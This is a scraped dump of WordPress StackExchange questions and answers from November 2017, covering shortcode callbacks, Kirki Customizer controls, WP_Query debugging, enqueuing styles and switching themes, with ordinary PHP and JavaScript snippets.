%postname%.</p>\n\n<ul>\n<li>Go To WP-Admin / Settings / Permalink</li>\n<li>Select <strong>Post Name</strong> option</li>\n<li>Save</li>\n</ul>\n\n<p>If it is already select <strong>Post Name</strong> save it again, anyway</p>\n" } ]
2017/11/18
[ "https://wordpress.stackexchange.com/questions/286262", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130624/" ]
I am using a Repeater of Advance custom field for the content of the my additional custom WooCommerce Tab. The repeater is inside a group field. I manage to display the custom fields that is outside the repeater field. Now the problem is the field inside my repeater field. The repeater field is not displaying. Here is the code I used in my functions.php // Add a Custom Tab ``` add_filter( 'woocommerce_product_tabs', 'dl_custom_product_designer_tab' ); function dl_custom_product_designer_tab( $tabs ) { // ensure ACF is available if ( !function_exists( 'have_rows' ) ) return; if ( get_field('designer') ) { $tabs[] = array( 'title' => 'DESIGNER', 'priority' => 50, 'callback' => 'dl_custom_designer_tab' ); } return $tabs; } function dl_custom_designer_tab() { $designer = get_field('designer'); echo '<p>'.$designer['designer_image'].'</p>'; echo '<p>'.$designer['designer_name'].'</p>'; echo '<p>'.$designer['designer_short_description'].'</p>'; // loop through the rows of data $achievements = get_field('designer_achievements'); if( $achievements ) { // loop through the rows of data echo '<ul>'; foreach($achievements as $achievement){ // display a sub field value echo '<li>'.$achievement['achievement'].'</li>'; } echo '</ul>'; } } ```
The global `$post` object represents the current post within [The Loop](https://codex.wordpress.org/The_Loop) and is created by the `the_post()` function. It enables functions like `the_title()`, `the_content()` etc. to show the title and content for the current post without needing to pass IDs or anything. This is why a post type archive doesn't have a `$post` object set when you're enqueuing scripts. Why would it? What post would it represent? What would `$post->post_author` be for a post type archive? It doesn't make sense to have one because an archive is not a post. The correct solution is the one you found: The `is_post_type_archive()` function. Under the hood it checks the main *Query* to see if it is for the archive for a post type.
286,268
<p>I am working on a WordPress theme and need to allow theme users to set different values for some controls for each device (desktop, tablet, mobile) I am thinking to show/hide device specific variant of some controls on the basis of what device/size user is previewing in customizer (desktop, tablet, mobile).</p> <p>Is there a way to show/hide controls when user switch devices from customizer responsive previewer?</p> <p><strong>Also note that I am using Kirki for all my customizer controls, all done using kirki.</strong></p> <p>Here is a use case to understand this better. I got a typography control for headlines as follows.</p> <pre><code>Kirki::add_field( 'start', array( 'type' =&gt; 'typography', 'settings' =&gt; 'headings_typography', 'label' =&gt; __( 'Headings', 'start' ), 'section' =&gt; 'base_typography', 'transport' =&gt; 'auto', 'default' =&gt; array( 'font-family' =&gt; '-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif', 'variant' =&gt; 'regular', ), 'output' =&gt; array( array( 'element' =&gt; array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ), ), ), ) ); </code></pre> <p>I may create 2 more variants of the same control each for (desktop, tablet &amp; mobile) and may output the values based on media queries. </p> <p>The only thing I am not able to do is how to show/hide control for device-specific preview in the customizer?</p> <p>TIA, Munir</p>
[ { "answer_id": 286294, "author": "Weston Ruter", "author_id": 8521, "author_profile": "https://wordpress.stackexchange.com/users/8521", "pm_score": 2, "selected": false, "text": "<p>I'm not familiar working with Kikri, but I've made a <a href=\"https://gist.github.com/westonruter/26ea57217efc074b2a948e32a61897f9\" rel=\"nofollow noreferrer\">standalone example plugin</a> that shows the approach I'd use to get controls to be contextual based on the previewed device. </p>\n\n<p>The plugin adds colored outlines around each element in the site, with a different color for elements in desktop, tablet, and mobile (obviously just for demonstration purposes). There are then color controls specific to each device, and only the device for the current previewed device is shown at a given time.</p>\n\n<p>The key logic in the plugin is found in <code>wpse-286268-controls.js</code>:</p>\n\n<pre><code>_.each( component.deviceControls, function( controlId, deviceSlug ) {\n api.control( controlId, function( control ) {\n function isActive() {\n return deviceSlug === api.state( 'previewedDevice' ).get();\n }\n\n // Set initial active state.\n control.active.set( isActive );\n\n // Update active state whenever previewd device changes.\n api.state( 'previewedDevice' ).bind( function() {\n control.active.set( isActive );\n } );\n\n // Override whatever the active_callback may send from server when preview loads.\n control.active.validate = isActive;\n } );\n} );\n</code></pre>\n\n<p>The <code>isActive</code> function returns whether the control should be active according to the current previewed device, and then this function is used to set each control's active state, and then each control's <code>active</code> state is updated when the <code>previewedDevice</code> state changes. Lastly, since these controls are registered with PHP, we override the <code>validate</code> method to prevent the <code>active_callback</code> for the control from overriding the <code>active</code> state we set in JS (whenever the preview refreshes the <code>active_callback</code> for the control will be called on the server and sent back when the preview refreshes to update the <code>active</code> state).</p>\n" }, { "answer_id": 398103, "author": "Ricky Friederich", "author_id": 214790, "author_profile": "https://wordpress.stackexchange.com/users/214790", "pm_score": 0, "selected": false, "text": "<p>Here is my solution on this with Kirki.</p>\n<p>I hope this may help some people.</p>\n<pre><code>&quot;use strict&quot;;\n\nwp.customize.bind('ready', function () {\n\n var previousDevice;\n\n // first load device\n wp.customize.previewer.bind('ready', function () {\n // Update Custom respsonsive Buttons\n var loadedDevice = wp.customize.previewedDevice.get();\n var firstDevice = $('.sb-devices .preview-' + loadedDevice);\n firstDevice.addClass('active');\n\n // Update Controls\n var getControls = $('li[id*=&quot;_resp_' + loadedDevice + '&quot;]');\n getControls.addClass('active');\n\n // Update previous device\n previousDevice = loadedDevice;\n\n });\n\n // Update device on change\n wp.customize.previewedDevice.bind(function () {\n\n if (previousDevice) {\n // Get updated device\n var reloadedDevice = wp.customize.previewedDevice.get();\n\n var updateDevice = $('.sb-devices .preview-' + previousDevice);\n updateDevice.removeClass('active');\n\n var updateControls = $('li[id*=&quot;_resp_' + previousDevice + '&quot;]');\n updateControls.removeClass('active');\n\n var setDevice = $('.sb-devices .preview-' + reloadedDevice);\n setDevice.addClass('active');\n\n var setControls = $('li[id*=&quot;_resp_' + reloadedDevice + '&quot;]');\n setControls.addClass('active');\n\n previousDevice = reloadedDevice;\n }\n\n });\n\n // Update preview device on custom buttons click\n $('.sb-devices &gt; div').on('click', function () {\n wp.customize.previewedDevice.set($(this).attr('data-device'));\n });\n\n\n});\n</code></pre>\n<p>The js file needs to be enqueued with customize_controls_enqueue_scripts</p>\n<p>And with the Kirki custom control you create something like this:</p>\n<pre><code>Kirki::add_field( 'domain_kirki_options', [\n'type' =&gt; 'custom',\n'settings' =&gt; '',\n'section' =&gt; 'domain_theme_header_section',\n'default' =&gt; '&lt;div class=&quot;sb-device-holder&quot;&gt;\n &lt;span class=&quot;customize-control-title&quot;&gt;\n Setting Title\n &lt;/span&gt;\n &lt;div class=&quot;sb-devices&quot;&gt;\n &lt;div class=&quot;preview-desktop&quot; data-device=&quot;desktop&quot;&gt;&lt;/div&gt;\n &lt;div class=&quot;preview-tablet&quot; data-device=&quot;tablet&quot;&gt;&lt;/div&gt;\n &lt;div class=&quot;preview-mobile&quot; data-device=&quot;mobile&quot;&gt;&lt;/div&gt;\n &lt;/div&gt;\n &lt;/div&gt;',\n'priority' =&gt; 10,]);\n</code></pre>\n" } ]
2017/11/18
[ "https://wordpress.stackexchange.com/questions/286268", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/42696/" ]
I am working on a WordPress theme and need to allow theme users to set different values for some controls for each device (desktop, tablet, mobile) I am thinking to show/hide device specific variant of some controls on the basis of what device/size user is previewing in customizer (desktop, tablet, mobile). Is there a way to show/hide controls when user switch devices from customizer responsive previewer? **Also note that I am using Kirki for all my customizer controls, all done using kirki.** Here is a use case to understand this better. I got a typography control for headlines as follows. ``` Kirki::add_field( 'start', array( 'type' => 'typography', 'settings' => 'headings_typography', 'label' => __( 'Headings', 'start' ), 'section' => 'base_typography', 'transport' => 'auto', 'default' => array( 'font-family' => '-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif', 'variant' => 'regular', ), 'output' => array( array( 'element' => array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ), ), ), ) ); ``` I may create 2 more variants of the same control each for (desktop, tablet & mobile) and may output the values based on media queries. The only thing I am not able to do is how to show/hide control for device-specific preview in the customizer? TIA, Munir
I'm not familiar working with Kikri, but I've made a [standalone example plugin](https://gist.github.com/westonruter/26ea57217efc074b2a948e32a61897f9) that shows the approach I'd use to get controls to be contextual based on the previewed device. The plugin adds colored outlines around each element in the site, with a different color for elements in desktop, tablet, and mobile (obviously just for demonstration purposes). There are then color controls specific to each device, and only the device for the current previewed device is shown at a given time. The key logic in the plugin is found in `wpse-286268-controls.js`: ``` _.each( component.deviceControls, function( controlId, deviceSlug ) { api.control( controlId, function( control ) { function isActive() { return deviceSlug === api.state( 'previewedDevice' ).get(); } // Set initial active state. control.active.set( isActive ); // Update active state whenever previewd device changes. api.state( 'previewedDevice' ).bind( function() { control.active.set( isActive ); } ); // Override whatever the active_callback may send from server when preview loads. control.active.validate = isActive; } ); } ); ``` The `isActive` function returns whether the control should be active according to the current previewed device, and then this function is used to set each control's active state, and then each control's `active` state is updated when the `previewedDevice` state changes. Lastly, since these controls are registered with PHP, we override the `validate` method to prevent the `active_callback` for the control from overriding the `active` state we set in JS (whenever the preview refreshes the `active_callback` for the control will be called on the server and sent back when the preview refreshes to update the `active` state).
286,271
<p>I have two machines: local and deployment.</p> <p>On my local machine I have the code: </p> <pre><code>$all_prods = array( 'posts_per_page' =&gt; -1, 'post_type' =&gt; 'product', ); dump(query_posts($all_prods)); </code></pre> <p>The result I'm getting is my three products, that I've created earlier. But the same code on deployment machine returns an empty array despite of the website has many products in it.</p> <p>I thought that somehow deployment machine has the other prefix for it's post type, than my local one, but when I type on deployment machine:</p> <pre><code>$prod = wc_get_product(440); dump($prod); </code></pre> <p>I get <strong>WC_Simple_Product</strong> object with field <strong>"post_type"</strong> equal to <strong>"product"</strong>. How can I debug it?</p>
[ { "answer_id": 286273, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 2, "selected": false, "text": "<p>First I would state that in most cases the <code>query_posts</code> should be avoided!</p>\n\n<blockquote>\n <p>This function will completely override the main query and isn’t\n intended for use by plugins or themes. Its overly-simplistic approach\n to modifying the main query can be problematic and should be avoided\n wherever possible.</p>\n</blockquote>\n\n<p>I would suggest transfer your query with WP_Query and try something like this:</p>\n\n<pre><code>$all_prods = array(\n 'posts_per_page' =&gt; -1,\n 'post_type' =&gt; 'product',\n);\n$query = new WP_Query($all_prods);\n\nwhile ($query-&gt;have_posts()) {\n $query-&gt;the_post();\n $post_id = get_the_ID();\n echo $post_id;\n}\n</code></pre>\n\n<p>For the Debug part, I would use the <code>get_post($post_id);</code> to verify that we talk about the same post_type.</p>\n" }, { "answer_id": 286276, "author": "Liam Kernighan", "author_id": 130777, "author_profile": "https://wordpress.stackexchange.com/users/130777", "pm_score": 1, "selected": true, "text": "<p>I've found the solution.</p>\n\n<pre><code>$query = new WP_Query();\n$all_prods = array(\n 'posts_per_page' =&gt; -1,\n 'post_type' =&gt; 'product',\n);\n$query = new WP_Query($all_prods);\necho $query-&gt;request . '&lt;BR&gt;';\n</code></pre>\n\n<p>The output was different on 2 machines, there was a problem with a multilanguage plugin that automatically added a second table and made inner join with it.</p>\n" } ]
2017/11/18
[ "https://wordpress.stackexchange.com/questions/286271", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130777/" ]
I have two machines: local and deployment. On my local machine I have the code: ``` $all_prods = array( 'posts_per_page' => -1, 'post_type' => 'product', ); dump(query_posts($all_prods)); ``` The result I'm getting is my three products, that I've created earlier. But the same code on deployment machine returns an empty array despite of the website has many products in it. I thought that somehow deployment machine has the other prefix for it's post type, than my local one, but when I type on deployment machine: ``` $prod = wc_get_product(440); dump($prod); ``` I get **WC\_Simple\_Product** object with field **"post\_type"** equal to **"product"**. How can I debug it?
I've found the solution. ``` $query = new WP_Query(); $all_prods = array( 'posts_per_page' => -1, 'post_type' => 'product', ); $query = new WP_Query($all_prods); echo $query->request . '<BR>'; ``` The output was different on 2 machines, there was a problem with a multilanguage plugin that automatically added a second table and made inner join with it.
286,320
<p>I'm planning on enforcing a rule in my project to write the codes for a single filter or hook in a single function for easier code maintenance, so instead of having</p> <pre><code>add_filter('wp','function_a'); function_a() { //code A goes here } add_filter('wp','function_b'); function_b() { //code B goes here } </code></pre> <p>It will be reduced to:</p> <pre><code>add_filter('wp','function_ab'); function_ab() { //code A goes here //code B goes here } </code></pre> <p>My question is, is there also a significant performance benefit by doing this? </p>
[ { "answer_id": 286273, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 2, "selected": false, "text": "<p>First I would state that in most cases the <code>query_posts</code> should be avoided!</p>\n\n<blockquote>\n <p>This function will completely override the main query and isn’t\n intended for use by plugins or themes. Its overly-simplistic approach\n to modifying the main query can be problematic and should be avoided\n wherever possible.</p>\n</blockquote>\n\n<p>I would suggest transfer your query with WP_Query and try something like this:</p>\n\n<pre><code>$all_prods = array(\n 'posts_per_page' =&gt; -1,\n 'post_type' =&gt; 'product',\n);\n$query = new WP_Query($all_prods);\n\nwhile ($query-&gt;have_posts()) {\n $query-&gt;the_post();\n $post_id = get_the_ID();\n echo $post_id;\n}\n</code></pre>\n\n<p>For the Debug part, I would use the <code>get_post($post_id);</code> to verify that we talk about the same post_type.</p>\n" }, { "answer_id": 286276, "author": "Liam Kernighan", "author_id": 130777, "author_profile": "https://wordpress.stackexchange.com/users/130777", "pm_score": 1, "selected": true, "text": "<p>I've found the solution.</p>\n\n<pre><code>$query = new WP_Query();\n$all_prods = array(\n 'posts_per_page' =&gt; -1,\n 'post_type' =&gt; 'product',\n);\n$query = new WP_Query($all_prods);\necho $query-&gt;request . '&lt;BR&gt;';\n</code></pre>\n\n<p>The output was different on 2 machines, there was a problem with a multilanguage plugin that automatically added a second table and made inner join with it.</p>\n" } ]
2017/11/19
[ "https://wordpress.stackexchange.com/questions/286320", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131733/" ]
I'm planning on enforcing a rule in my project to write the codes for a single filter or hook in a single function for easier code maintenance, so instead of having ``` add_filter('wp','function_a'); function_a() { //code A goes here } add_filter('wp','function_b'); function_b() { //code B goes here } ``` It will be reduced to: ``` add_filter('wp','function_ab'); function_ab() { //code A goes here //code B goes here } ``` My question is, is there also a significant performance benefit by doing this?
I've found the solution. ``` $query = new WP_Query(); $all_prods = array( 'posts_per_page' => -1, 'post_type' => 'product', ); $query = new WP_Query($all_prods); echo $query->request . '<BR>'; ``` The output was different on 2 machines, there was a problem with a multilanguage plugin that automatically added a second table and made inner join with it.
286,332
<p>My debug.log has the following message that points to /wp-includes/shortcodes.php on line 319, which is part of WordPress core and probably isn't where the real error is in the code.</p> <pre><code>PHP Deprecated: Non-static method RSSjbClass::RSSjb_funct() should not be called statically in /.../wp-includes/shortcodes.php on line 319 </code></pre> <p>I've looked at line 319 and it doesn't help me find or solve the problem. I searched the code and found this with the Class and funct but I don't know what is non-static being called statically.</p> <pre><code>/** * Add shortcode to wordpress */ // add_shortcode('RSSjb', 'RSSjb_funct'); add_shortcode('RSSjb', array('RSSjbClass', 'RSSjb_funct')); /** * Shortcode Class and Function */ class RSSjbClass { function RSSjb_funct($atts) { extract(shortcode_atts(array( // attributes for Google News "gsearch" =&gt; '', "topic" =&gt; '', "location" =&gt; '', "geo" =&gt; '', "feed" =&gt; '', // required "filter" =&gt; '', "num" =&gt; '5', "ltime" =&gt; '', "list" =&gt; 'ul', "target" =&gt; '_blank', "pubdate" =&gt; 'false', "pubtime" =&gt; 'false', "dformat" =&gt; get_option('date_format'), "tformat" =&gt; get_option('time_format'), "pubauthor" =&gt; 'true', "excerpt" =&gt; 'false', "charex" =&gt; '', "chartle" =&gt; '', "title" =&gt; '', "link" =&gt; 'false', "sort" =&gt; 'false', "cachefeed" =&gt; '3600' ), $atts)); </code></pre> <p>followed by several "ifs" and then</p> <pre><code> // call the function to read and display the feed items list return $tle . rssjb_List($feed, $filter, $num, $ltime, $list, $target, $pubdate, $pubtime, $dformat, $tformat, $pubauthor, $excerpt, $charex, $chartle, $sort, $cachefeed); } else { return '&lt;br&gt;RSS or Atom Feed URL not provided. This shortcode does require the attribute feed or location (if Google News).&lt;br /&gt; Ex: &lt;code&gt;[RSSjb feed = "http://your-rss-or-atom-feed-URL-here"]&lt;/code&gt;.'; } } } </code></pre> <p>How do I modify that to fit with what is in /wp-includes/shortcodes.php line 319, which is:</p> <pre><code> $output = $m[1] . call_user_func( $shortcode_tags[ $tag ], $attr, $content, $tag ) . $m[6]; /** * Filters the output created by a shortcode callback. * * @since 4.7.0 * * @param string $output Shortcode output. * @param string $tag Shortcode name. * @param array|string $attr Shortcode attributes array or empty string. * @param array $m Regular expression match array. */ return apply_filters( 'do_shortcode_tag', $output, $tag, $attr, $m ); } </code></pre> <p>I searched the PHP Manual and it doesn't have anything about shortcodes.</p>
[ { "answer_id": 286333, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 4, "selected": true, "text": "<p>Shortcodes are a WordPress thing, hence not being in the PHP manual. What you <em>do</em> want to look at in the PHP manual is the <a href=\"http://php.net/manual/en/language.types.callable.php\" rel=\"noreferrer\">section on callbacks</a>. <code>add_shortcode()</code> accepts a shortcode name, and a <em>callback</em>. In that section of the PHP manual you can see the 3 main types of callbacks:</p>\n\n<pre><code>// Type 1: Simple callback\ncall_user_func('my_callback_function');\n\n// Type 2: Static class method call\ncall_user_func(array('MyClass', 'myCallbackMethod'));\n\n// Type 3: Object method call\n$obj = new MyClass();\ncall_user_func(array($obj, 'myCallbackMethod'));\n</code></pre>\n\n<p>Your callback function for your shortcode is the 2nd type:</p>\n\n<pre><code>add_shortcode('RSSjb', array('RSSjbClass', 'RSSjb_funct'));\n</code></pre>\n\n<p>This is the same as calling <code>RSSjbClass::RSSjb_funct</code>, which is how you call a static method, but in your class the <code>RSSjb_funct()</code> method isn't defined statically:</p>\n\n<pre><code>function RSSjb_funct($atts) {\n</code></pre>\n\n<p>So the quickest fix is to define that method as <code>static</code>:</p>\n\n<pre><code>public static function RSSjb_funct($atts) {\n</code></pre>\n\n<p>The other option would be to add the shortcode within the class using <code>$this</code>, or to create an instance of the class and then use that in <code>add_shortcode()</code> like Type 3 above.</p>\n" }, { "answer_id": 350858, "author": "Shane O", "author_id": 177064, "author_profile": "https://wordpress.stackexchange.com/users/177064", "pm_score": 0, "selected": false, "text": "<p>If you don't want to call the class method statically you can do the following</p>\n\n<pre><code>add_shortcode('RSSjb', [new RSSjbClass, 'RSSjb_funct']);\n</code></pre>\n" } ]
2017/11/19
[ "https://wordpress.stackexchange.com/questions/286332", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130475/" ]
My debug.log has the following message that points to /wp-includes/shortcodes.php on line 319, which is part of WordPress core and probably isn't where the real error is in the code. ``` PHP Deprecated: Non-static method RSSjbClass::RSSjb_funct() should not be called statically in /.../wp-includes/shortcodes.php on line 319 ``` I've looked at line 319 and it doesn't help me find or solve the problem. I searched the code and found this with the Class and funct but I don't know what is non-static being called statically. ``` /** * Add shortcode to wordpress */ // add_shortcode('RSSjb', 'RSSjb_funct'); add_shortcode('RSSjb', array('RSSjbClass', 'RSSjb_funct')); /** * Shortcode Class and Function */ class RSSjbClass { function RSSjb_funct($atts) { extract(shortcode_atts(array( // attributes for Google News "gsearch" => '', "topic" => '', "location" => '', "geo" => '', "feed" => '', // required "filter" => '', "num" => '5', "ltime" => '', "list" => 'ul', "target" => '_blank', "pubdate" => 'false', "pubtime" => 'false', "dformat" => get_option('date_format'), "tformat" => get_option('time_format'), "pubauthor" => 'true', "excerpt" => 'false', "charex" => '', "chartle" => '', "title" => '', "link" => 'false', "sort" => 'false', "cachefeed" => '3600' ), $atts)); ``` followed by several "ifs" and then ``` // call the function to read and display the feed items list return $tle . rssjb_List($feed, $filter, $num, $ltime, $list, $target, $pubdate, $pubtime, $dformat, $tformat, $pubauthor, $excerpt, $charex, $chartle, $sort, $cachefeed); } else { return '<br>RSS or Atom Feed URL not provided. This shortcode does require the attribute feed or location (if Google News).<br /> Ex: <code>[RSSjb feed = "http://your-rss-or-atom-feed-URL-here"]</code>.'; } } } ``` How do I modify that to fit with what is in /wp-includes/shortcodes.php line 319, which is: ``` $output = $m[1] . call_user_func( $shortcode_tags[ $tag ], $attr, $content, $tag ) . $m[6]; /** * Filters the output created by a shortcode callback. * * @since 4.7.0 * * @param string $output Shortcode output. * @param string $tag Shortcode name. * @param array|string $attr Shortcode attributes array or empty string. * @param array $m Regular expression match array. */ return apply_filters( 'do_shortcode_tag', $output, $tag, $attr, $m ); } ``` I searched the PHP Manual and it doesn't have anything about shortcodes.
Shortcodes are a WordPress thing, hence not being in the PHP manual. What you *do* want to look at in the PHP manual is the [section on callbacks](http://php.net/manual/en/language.types.callable.php). `add_shortcode()` accepts a shortcode name, and a *callback*. In that section of the PHP manual you can see the 3 main types of callbacks: ``` // Type 1: Simple callback call_user_func('my_callback_function'); // Type 2: Static class method call call_user_func(array('MyClass', 'myCallbackMethod')); // Type 3: Object method call $obj = new MyClass(); call_user_func(array($obj, 'myCallbackMethod')); ``` Your callback function for your shortcode is the 2nd type: ``` add_shortcode('RSSjb', array('RSSjbClass', 'RSSjb_funct')); ``` This is the same as calling `RSSjbClass::RSSjb_funct`, which is how you call a static method, but in your class the `RSSjb_funct()` method isn't defined statically: ``` function RSSjb_funct($atts) { ``` So the quickest fix is to define that method as `static`: ``` public static function RSSjb_funct($atts) { ``` The other option would be to add the shortcode within the class using `$this`, or to create an instance of the class and then use that in `add_shortcode()` like Type 3 above.
286,334
<p>I've recently uploaded my wordpress project to my web hosting and images arent showing properly, the source for the images is adding a %20 suffix to my theme directory.</p> <p>this is the error thats thrown in console</p> <pre><code> GET http://sixten.thrillcode.com/wp-content/themes/shapely%20/img/slideshow1.jpg 404 (Not Found) </code></pre> <p>it should be </p> <pre><code> http://sixten.thrillcode.com/wp-content/themes/shapely/img/slideshow1.jpg </code></pre> <p>in my php file it is written as</p> <pre><code> &lt;img class="mobile-image-full" src="&lt;?php echo get_template_directory_uri(); ?&gt;/img/slideshow1.jpg"&gt; &lt;/img&gt; </code></pre> <p>I cannot figure out what the issue is, if anyone could help i would be grateful.</p>
[ { "answer_id": 286335, "author": "Jefferson Silva", "author_id": 130008, "author_profile": "https://wordpress.stackexchange.com/users/130008", "pm_score": 3, "selected": true, "text": "<p>There's a space after the word \"shapely\". You must remove that, spaces and special characters are encoded when used in URL's.\nMost probably this space is in the directory name, rename it and it will solve the problem</p>\n" }, { "answer_id": 286337, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 0, "selected": false, "text": "<p><code>%20</code> is the encoded equivalent for space character. Since the URLs can not contain any spaces, they are converted to + or <code>%20</code>. So,</p>\n\n<ol>\n<li><p>There is possibly either a space in your theme's folder name.</p></li>\n<li><p>There is a space between your characters in the image src.</p></li>\n</ol>\n" } ]
2017/11/19
[ "https://wordpress.stackexchange.com/questions/286334", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131740/" ]
I've recently uploaded my wordpress project to my web hosting and images arent showing properly, the source for the images is adding a %20 suffix to my theme directory. this is the error thats thrown in console ``` GET http://sixten.thrillcode.com/wp-content/themes/shapely%20/img/slideshow1.jpg 404 (Not Found) ``` it should be ``` http://sixten.thrillcode.com/wp-content/themes/shapely/img/slideshow1.jpg ``` in my php file it is written as ``` <img class="mobile-image-full" src="<?php echo get_template_directory_uri(); ?>/img/slideshow1.jpg"> </img> ``` I cannot figure out what the issue is, if anyone could help i would be grateful.
There's a space after the word "shapely". You must remove that, spaces and special characters are encoded when used in URL's. Most probably this space is in the directory name, rename it and it will solve the problem
286,346
<p>I'm using the following to enqueu an admin style:</p> <pre><code>wp_enqueue_style('pk-admin-css', PULUGIN_URL . 'css/admin.css'); </code></pre> <p>This outputs the style file appended with the ?=ver parameter which results in the file loading with no content.</p> <p>I can fix this by removing that parameter like so:</p> <pre><code>wp_enqueue_style('pk-admin-css', PULUGIN_URL . 'css/admin.css', array(), null) </code></pre> <p>basically give it the version a nul value which removes it. My question though is.. The front-end style loads fine with that version number but why my admin style is not? Can someone explain this for me?</p> <p>Thank you.</p>
[ { "answer_id": 286345, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 3, "selected": true, "text": "<p>You don't have to use the <code>register_activation_hook</code> or <code>register_deactivation_hook</code> hook, they are optional. As their name suggests, they are hooks planned to run a task on plugin's activation/deactivation, such as updating the status of all users for some purpose.</p>\n\n<p>So, if your plugin doesn't require such tasks, then simply don't use them. If you want to register new post types and taxonomies, you can use the <code>init</code> hook instead.</p>\n" }, { "answer_id": 380133, "author": "nydame", "author_id": 86502, "author_profile": "https://wordpress.stackexchange.com/users/86502", "pm_score": 0, "selected": false, "text": "<p>As another respondent has already noted, they are both optional. Still, I believe they are underutilized, especially <code>register_activation_hook</code>. If a block of code only needs to run once (e.g., to register a new post type), it would be obviously more performant to run it only on plugin activation instead of every time a page is loaded!</p>\n<p>Keep in mind, however, that activation hooks are called <strong>before</strong> either the <code>plugins_loaded</code> hook or the <code>init</code> hook<a href=\"https://developer.wordpress.org/reference/functions/register_activation_hook/\" rel=\"nofollow noreferrer\">[1]</a>, so there's no point in trying to register an activation hook from a function added to either of those commonly used hooks.</p>\n<p><code>register_deactivation_hook</code> is useful for removing actions or filters created by your plugin, among other things.</p>\n" } ]
2017/11/19
[ "https://wordpress.stackexchange.com/questions/286346", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131331/" ]
I'm using the following to enqueu an admin style: ``` wp_enqueue_style('pk-admin-css', PULUGIN_URL . 'css/admin.css'); ``` This outputs the style file appended with the ?=ver parameter which results in the file loading with no content. I can fix this by removing that parameter like so: ``` wp_enqueue_style('pk-admin-css', PULUGIN_URL . 'css/admin.css', array(), null) ``` basically give it the version a nul value which removes it. My question though is.. The front-end style loads fine with that version number but why my admin style is not? Can someone explain this for me? Thank you.
You don't have to use the `register_activation_hook` or `register_deactivation_hook` hook, they are optional. As their name suggests, they are hooks planned to run a task on plugin's activation/deactivation, such as updating the status of all users for some purpose. So, if your plugin doesn't require such tasks, then simply don't use them. If you want to register new post types and taxonomies, you can use the `init` hook instead.
286,382
<p>I want to create a table show all post, I use WP_query to get all iformatio and create table template to list my post. But my problem is only one post inside the table.. I want to include all in table.</p> <pre><code>$wpb_all_query = new WP_Query(array('post_type'=&gt;'vendor_management', 'post_status'=&gt;'new', 'posts_per_page'=&gt;-1)); ?&gt; &lt;?php if ( $wpb_all_query-&gt;have_posts() ) : ?&gt; &lt;table class="responstable"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;&lt;/th&gt; &lt;th&gt;Vendor Name&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;?php while ( $wpb_all_query-&gt;have_posts() ) : $wpb_all_query-&gt;the_post(); ?&gt; &lt;td&gt;&lt;input type="checkbox"/&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;?php endwhile; ?&gt; &lt;!-- end of the loop --&gt; &lt;?php wp_reset_postdata(); ?&gt; &lt;?php else : ?&gt; &lt;p&gt;&lt;?php _e( 'Sorry, no posts matched your criteria.' ); ?&gt;&lt;/p&gt; &lt;?php endif; ?&gt; </code></pre> <p>Basically, I want to create like admin table in backend which is showing all post include edit, delete, bulk delete into front end, Can any body tell me to do it. I have try to use WP_List_Table but not working if in frond end.</p>
[ { "answer_id": 286351, "author": "Apurba Podder", "author_id": 113734, "author_profile": "https://wordpress.stackexchange.com/users/113734", "pm_score": 0, "selected": false, "text": "<p>Yes, Absolutely you can switch themes on a fully built website. All data remain same. No need to reset. Before that, </p>\n\n<ol>\n<li><p>Take a backup of your full website with the database. </p></li>\n<li><p>you have to be sure that the theme is download from a verified source like wordpress.org or ThemeForest or template monster. ( Not a null or third-party theme)</p></li>\n<li><p>If your current theme has some custom feature, like custom meta box or any custom functions on theme core after uninstalling the theme you won't be able to access that feature. </p></li>\n<li><p>If your current theme has any plugin (suggested by the theme) then keep active them. No need to deactivated the plugins with the theme. </p></li>\n<li><p>Finally, If you haven't enough experience then hire an experienced developer. </p></li>\n</ol>\n" }, { "answer_id": 286353, "author": "Mark Kaplun", "author_id": 23970, "author_profile": "https://wordpress.stackexchange.com/users/23970", "pm_score": 1, "selected": false, "text": "<p>The rule of thumb is that the more complex your theme is, the harder it will be to replace it with another. Themes should be only about styling your content, nothing more, and everything relating to content itself should be handled in plugins.</p>\n\n<p>Unfortunately, most people think that all themes should come with everything and a kitchen sink, and therefor most themes are not doing styling only, and therefor are hard(er) to replace.</p>\n\n<p>Regarding your current situation, it is hard to say anything concrete without actually understanding the nature of your problems, but yes if you have used in your content a theme specific shortcodes or other kinds of styling, you will need to adjust your content to play nice with a new theme.</p>\n" } ]
2017/11/20
[ "https://wordpress.stackexchange.com/questions/286382", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/126689/" ]
